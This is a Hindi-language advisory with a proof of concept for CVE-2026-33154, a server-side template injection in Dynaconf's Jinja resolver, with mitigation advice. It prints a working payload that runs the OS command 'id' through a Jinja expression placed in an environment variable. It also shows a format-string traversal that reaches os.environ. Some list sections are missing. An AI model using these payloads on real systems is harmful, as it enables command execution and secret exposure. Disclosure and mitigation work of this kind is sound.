
CVE-2026-33154 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Dynaconf के Jinja रिज़ॉल्वर में SSTI के माध्यम से रिमोट कोड एक्ज़ीक्यूशन प्रदर्शित करता है, विश्लेषण और शमन मार्गदर्शन के साथ।
Dynaconf __@Jinja__ रिज़ॉल्वर में असुरक्षित टेम्पलेट मूल्यांकन के कारण सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) के प्रति संवेदनशील है। जब jinja2 पैकेज स्थापित होता है, तो Dynaconf कॉन्फ़िगरेशन मानों में एम्बेडेड टेम्पलेट एक्सप्रेशन का मूल्यांकन बिना सैंडबॉक्स किए गए वातावरण में करता है।
यदि कोई हमलावर कॉन्फ़िगरेशन स्रोतों को प्रभावित कर सकता है जैसे:
.env फ़ाइलें...तो वे होस्ट सिस्टम पर मनमाने OS कमांड निष्पादित कर सकते हैं। इसके अतिरिक्त, __@Format__ रिज़ॉल्वर ऑब्जेक्ट ग्राफ ट्रैवर्सल की अनुमति देता है, जो संवेदनशील रनटाइम ऑब्जेक्ट्स और पर्यावरण चर को उजागर कर सकता है।
यह भेद्यता इसलिए उत्पन्न होती है क्योंकि Dynaconf के स्ट्रिंग रिज़ॉल्वर में उचित सुरक्षा सीमाओं का अभाव है।
__@Jinja__ रिज़ॉल्वर__@Jinja__ रिज़ॉल्वर पूर्ण Jinja2 मूल्यांकन का उपयोग करके टेम्पलेट प्रस्तुत करता है। हालाँकि, रेंडरिंग संदर्भ सैंडबॉक्स किया हुआ नहीं है, जो हमलावरों को Python के आंतरिक गुणों तक पहुँचने की अनुमति देता है। cycler जैसे ऑब्जेक्ट्स का उपयोग करके, हमलावर Python के ग्लोबल्स तक पहुँच सकते हैं और os मॉड्यूल आयात कर सकते हैं।
उदाहरण हमला पथ:
cycler → __init__ → __globals__ → os → popen()
यह मनमाने कमांड निष्पादन की ओर ले जाता है।
__@Format__ रिज़ॉल्वर__@Format__ रिज़ॉल्वर आंतरिक ऑब्जेक्ट्स का उपयोग करके Python स्ट्रिंग फ़ॉर्मेटिंग करता है। यह हमलावरों को Python के ऑब्जेक्ट ग्राफ को ट्रैवर्स करने और संवेदनशील रनटाइम ऑब्जेक्ट्स तक पहुँचने की अनुमति देता है।
उदाहरण ट्रैवर्सल:
{this.__class__.__init__.__globals__[os].environ}
यह उजागर कर सकता है:
import os
from dynaconf import Dynaconf
# दुर्भावनापूर्ण कॉन्फ़िगरेशन इंजेक्शन
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] कमांड निष्पादन परिणाम:")
print(settings.RCE)
सफल शोषण हमलावरों को अनुमति देता है:
क्योंकि कॉन्फ़िगरेशन मान CI/CD पाइपलाइनों, कंटेनर ऑर्केस्ट्रेशन सिस्टम, या पर्यावरण इंजेक्शन से उत्पन्न हो सकते हैं, यह भेद्यता वास्तविक दुनिया की तैनाती में दूरस्थ रूप से शोषण योग्य बन सकती है।
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)
__@Format__ उपयोग को विश्वसनीय मानों तक सीमित करेंsafe_value = "{name}".format(name=trusted_name)